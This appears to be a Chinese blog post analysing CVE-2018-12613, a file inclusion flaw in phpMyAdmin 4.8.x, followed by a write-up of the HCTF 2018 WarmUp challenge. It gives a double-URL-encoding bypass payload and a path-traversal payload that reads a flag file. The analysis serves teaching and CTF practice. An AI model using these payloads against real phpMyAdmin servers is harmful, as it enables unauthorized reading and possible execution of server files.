• CVE-2018-12613(phpMyAdmin远程文件包含)-HCTF-2018-WarmUp


    漏洞简介

    ​ phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和 删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。

    ​ phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻击者可利用该漏洞包含(查看并可能执行)服务器上的文件。

    漏洞分析

    下载phpMyAdmin-4.8.1的安装包,解压找到出现问题的代码./index.php:

    通过代码可以看到,只要绕过55行~60行的检查,就可执行61行的文件包含代码。

    第55行,参数target不能为空。

    第56行,参数target必须是字符串。

    第57行,通过正则匹配规定参数target不能以index开头。

    第58行,参数target不能在$target_blacklist(50-51行)中,即target不能为'import.php'和'export.php'。

    第59行,Core::checkPageValidity($_REQUEST['target'])返回为True。

    找到checkPageValidity的代码./libraries/classes/Core.php:

    通过代码分析,可以发现突破点是让checkPageValidity函数返回True,可以发现返回True的情况有三种(根据注释可以具体分析)。下面根据url解码进行绕过分析:

    比如传入:

    ?target=db_sql.php%253f
    

    服务器自动解码一次,所以传入checkPageValidity函数中时,$page为db_sql.php%3f,再经过urldecode()函数解码一次,变为db_sql.php?,符合?前内容文件在白名单的要求,函数返回true。但$target参数仍然是db_sql.php%3f,可以绕过检测,造成文件包含漏洞。

    漏洞复现(HCTF 2018 Warm Up)

    进入靶场环境,查看源代码寻找有用信息:

    访问/source.php,看到源代码:

    <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it";
                    return false;
                }
    
                if (in_array($page, $whitelist)) {
                    return true;
                }
    
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
    
                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
    
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
        }  
    ?>
    

    看到$whitelist还有一个hint.php:

    提示flag在ffffllllaaaagggg。

    继续审计source.php,可以发现基本上与phpMyAdmin的代码一样,这里可以借助urldecode()二次解码进行绕过。

    构造payload:

    source.php?file=hint.php%253f../../../../../ffffllllaaaagggg
    

    回退4个以上目录才能访问到ffffllllaaaagggg:

    这里传入:

    source.php?file=hint.php?../../../../../ffffllllaaaagggg
    

    也是可以绕过的,因为这样符合$page?之前的参数在$whitelist中,函数返回true。

    漏洞修复

    下载官方补丁或升级到最新版

    参考链接

    https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
    https://github.com/0x00-0x00/CVE-2018-12613

  • 相关阅读:
    ping和telnet
    nginx下No input file specified错误的解决
    【Git】删除某个全局配置项
    windows7使用Sphinx+PHP+MySQL详细介绍
    TortoiseGit需要重复填写用户名和密码的问题
    【算法】字符串数组的排序时间复杂度问题
    java随机生成6位随机数 5位随机数 4位随机数
    Linux下MySQL报Table 'xxx' doesn't exist错误解决方法,表名存在大小写区分
    Cannot find ./catalina.sh The file is absent or does not have execute permission This file is nee
    Linux 服务器安装jdk,mysql,tomcat简要教程
  • 原文地址:https://www.cnblogs.com/Son01/p/12957753.html
Copyright © 2020-2023  润新知